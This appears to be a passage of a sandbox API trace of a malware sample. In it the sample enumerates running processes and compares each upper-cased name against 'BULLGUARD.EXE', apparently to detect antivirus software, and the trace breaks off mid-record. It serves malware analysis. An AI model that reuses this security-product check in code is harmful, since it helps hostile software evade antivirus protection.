1 [0074.182] lstrcpyW (in: lpString1=0x18f0a0, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0074.182] lstrlenW (lpString="[System Process]") returned 16 [0074.182] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0074.182] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="BULLGUARD.EXE") returned -1 [0074.182] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.183] lstrcpyW (in: lpString1=0x18f0a0, lpString2="System" | out: lpString1="System") returned="System" [0074.183] lstrlenW (lpString="System") returned 6 [0074.183] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0074.183] lstrcmpW (lpString1="SYSTEM", lpString2="BULLGUARD.EXE") returned 1 [0074.183] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.183] lstrcpyW (in: lpString1=0x18f0a0, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0074.186] lstrlenW (lpString="smss.exe") returned 8 [0074.186] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0074.186] lstrcmpW (lpString1="SMSS.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.186] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.187] lstrcpyW (in: lpString1=0x18f0a0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.187] lstrlenW (lpString="csrss.exe") returned 9 [0074.187] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.187] lstrcmpW (lpString1="CSRSS.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.187] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.187] lstrcpyW (in: lpString1=0x18f0a0, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0074.187] lstrlenW (lpString="wininit.exe") returned 11 [0074.187] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0074.187] lstrcmpW (lpString1="WININIT.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.187] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.188] lstrcpyW (in: lpString1=0x18f0a0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.188] lstrlenW (lpString="csrss.exe") returned 9 [0074.188] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.188] lstrcmpW (lpString1="CSRSS.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.188] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.188] lstrcpyW (in: lpString1=0x18f0a0, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0074.188] lstrlenW (lpString="winlogon.exe") returned 12 [0074.188] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0074.188] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.188] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.189] lstrcpyW (in: lpString1=0x18f0a0, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0074.189] lstrlenW (lpString="services.exe") returned 12 [0074.189] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0074.189] lstrcmpW (lpString1="SERVICES.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.189] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.189] lstrcpyW (in: lpString1=0x18f0a0, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0074.189] lstrlenW (lpString="lsass.exe") returned 9 [0074.189] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0074.189] lstrcmpW (lpString1="LSASS.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.189] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.190] lstrcpyW (in: lpString1=0x18f0a0, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0074.190] lstrlenW (lpString="lsm.exe") returned 7 [0074.190] CharUpperBuffW (in: lpsz="lsm.exe", cchLength=0x7 | out: lpsz="LSM.EXE") returned 0x7 [0074.190] lstrcmpW (lpString1="LSM.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.190] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.190] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.190] lstrlenW (lpString="svchost.exe") returned 11 [0074.190] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.190] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.190] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.191] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.191] lstrlenW (lpString="svchost.exe") returned 11 [0074.191] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.191] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.191] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.191] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.191] lstrlenW (lpString="svchost.exe") returned 11 [0074.191] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.191] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.191] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.192] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.192] lstrlenW (lpString="svchost.exe") returned 11 [0074.192] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.192] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.192] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.192] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.192] lstrlenW (lpString="svchost.exe") returned 11 [0074.192] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.192] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.192] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.193] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.193] lstrlenW (lpString="svchost.exe") returned 11 [0074.193] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.193] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.193] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.193] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.193] lstrlenW (lpString="svchost.exe") returned 11 [0074.193] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.193] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.193] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.194] lstrcpyW (in: lpString1=0x18f0a0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0074.194] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.194] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0074.194] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.194] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.194] lstrcpyW (in: lpString1=0x18f0a0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.194] lstrlenW (lpString="taskhost.exe") returned 12 [0074.194] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.194] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.194] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.195] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.195] lstrlenW (lpString="svchost.exe") returned 11 [0074.195] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.195] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.195] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.195] lstrcpyW (in: lpString1=0x18f0a0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.195] lstrlenW (lpString="taskeng.exe") returned 11 [0074.195] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.195] lstrcmpW (lpString1="TASKENG.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.195] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.196] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.196] lstrlenW (lpString="svchost.exe") returned 11 [0074.196] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.196] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.196] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.196] lstrcpyW (in: lpString1=0x18f0a0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.196] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.196] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.196] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.196] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.197] lstrcpyW (in: lpString1=0x18f0a0, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0074.197] lstrlenW (lpString="sppsvc.exe") returned 10 [0074.197] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0074.197] lstrcmpW (lpString1="SPPSVC.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.197] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.197] lstrcpyW (in: lpString1=0x18f0a0, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0074.197] lstrlenW (lpString="dwm.exe") returned 7 [0074.197] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0074.197] lstrcmpW (lpString1="DWM.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.197] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.198] lstrcpyW (in: lpString1=0x18f0a0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0074.198] lstrlenW (lpString="explorer.exe") returned 12 [0074.198] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0074.198] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.198] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.198] lstrcpyW (in: lpString1=0x18f0a0, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0074.198] lstrlenW (lpString="audiodg.exe") returned 11 [0074.198] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0074.198] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="BULLGUARD.EXE") returned -1 [0074.198] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.199] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.199] lstrlenW (lpString="svchost.exe") returned 11 [0074.199] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.199] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.199] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.199] lstrcpyW (in: lpString1=0x18f0a0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.199] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.199] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.199] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.199] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.200] lstrcpyW (in: lpString1=0x18f0a0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.200] lstrlenW (lpString="taskhost.exe") returned 12 [0074.200] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.200] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.200] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.200] lstrcpyW (in: lpString1=0x18f0a0, lpString2="ghana-reaction.exe" | out: lpString1="ghana-reaction.exe") returned="ghana-reaction.exe" [0074.200] lstrlenW (lpString="ghana-reaction.exe") returned 18 [0074.200] CharUpperBuffW (in: lpsz="ghana-reaction.exe", cchLength=0x12 | out: lpsz="GHANA-REACTION.EXE") returned 0x12 [0074.200] lstrcmpW (lpString1="GHANA-REACTION.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.200] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.201] lstrcpyW (in: lpString1=0x18f0a0, lpString2="survive recipes.exe" | out: lpString1="survive recipes.exe") returned="survive recipes.exe" [0074.201] lstrlenW (lpString="survive recipes.exe") returned 19 [0074.201] CharUpperBuffW (in: lpsz="survive recipes.exe", cchLength=0x13 | out: lpsz="SURVIVE RECIPES.EXE") returned 0x13 [0074.201] lstrcmpW (lpString1="SURVIVE RECIPES.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.201] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.201] lstrcpyW (in: lpString1=0x18f0a0, lpString2="wiley listprice immigration mn.exe" | out: lpString1="wiley listprice immigration mn.exe") returned="wiley listprice immigration mn.exe" [0074.201] lstrlenW (lpString="wiley listprice immigration mn.exe") returned 34 [0074.201] CharUpperBuffW (in: lpsz="wiley listprice immigration mn.exe", cchLength=0x22 | out: lpsz="WILEY LISTPRICE IMMIGRATION MN.EXE") returned 0x22 [0074.201] lstrcmpW (lpString1="WILEY LISTPRICE IMMIGRATION MN.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.201] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.202] lstrcpyW (in: lpString1=0x18f0a0, lpString2="temp la various.exe" | out: lpString1="temp la various.exe") returned="temp la various.exe" [0074.202] lstrlenW (lpString="temp la various.exe") returned 19 [0074.202] CharUpperBuffW (in: lpsz="temp la various.exe", cchLength=0x13 | out: lpsz="TEMP LA VARIOUS.EXE") returned 0x13 [0074.202] lstrcmpW (lpString1="TEMP LA VARIOUS.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.202] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.202] lstrcpyW (in: lpString1=0x18f0a0, lpString2="metropolitan storm.exe" | out: lpString1="metropolitan storm.exe") returned="metropolitan storm.exe" [0074.202] lstrlenW (lpString="metropolitan storm.exe") returned 22 [0074.202] CharUpperBuffW (in: lpsz="metropolitan storm.exe", cchLength=0x16 | out: lpsz="METROPOLITAN STORM.EXE") returned 0x16 [0074.202] lstrcmpW (lpString1="METROPOLITAN STORM.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.202] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.203] lstrcpyW (in: lpString1=0x18f0a0, lpString2="thats-viewing-llc.exe" | out: lpString1="thats-viewing-llc.exe") returned="thats-viewing-llc.exe" [0074.203] lstrlenW (lpString="thats-viewing-llc.exe") returned 21 [0074.203] CharUpperBuffW (in: lpsz="thats-viewing-llc.exe", cchLength=0x15 | out: lpsz="THATS-VIEWING-LLC.EXE") returned 0x15 [0074.203] lstrcmpW (lpString1="THATS-VIEWING-LLC.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.203] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.203] lstrcpyW (in: lpString1=0x18f0a0, lpString2="houses.exe" | out: lpString1="houses.exe") returned="houses.exe" [0074.203] lstrlenW (lpString="houses.exe") returned 10 [0074.203] CharUpperBuffW (in: lpsz="houses.exe", cchLength=0xa | out: lpsz="HOUSES.EXE") returned 0xa [0074.203] lstrcmpW (lpString1="HOUSES.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.203] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.204] lstrcpyW (in: lpString1=0x18f0a0, lpString2="renewal.exe" | out: lpString1="renewal.exe") returned="renewal.exe" [0074.204] lstrlenW (lpString="renewal.exe") returned 11 [0074.204] CharUpperBuffW (in: lpsz="renewal.exe", cchLength=0xb | out: lpsz="RENEWAL.EXE") returned 0xb [0074.204] lstrcmpW (lpString1="RENEWAL.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.204] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 